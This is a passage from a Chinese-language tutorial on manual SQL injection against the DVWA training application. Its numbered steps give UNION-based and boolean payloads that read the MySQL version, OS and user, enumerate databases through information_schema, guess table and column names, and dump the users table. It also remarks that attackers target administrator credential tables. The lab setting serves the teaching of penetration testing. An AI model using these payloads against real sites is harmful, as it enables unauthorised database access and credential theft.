1' and 1=2 union select version(),database() --
5、获得操作系统信息。
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
6、测试连接数据库权限:
1' and ord(mid(user(),1,1))=114 --
7、查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
1' and 1=2 union select 1,schema_name from information_schema.schemata --
8、猜解dvwa数据库中的表名。利用1‘ and exists(select * from 表名),此处表名猜解可以通过brupsuit挂字典猜解。这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。
1' and exists(select * from users) --
9、猜解字段名:1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name
1' and exists(select first_name from users) --
ID: 1' and exists(select last_name from users) --
10、爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users -- ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。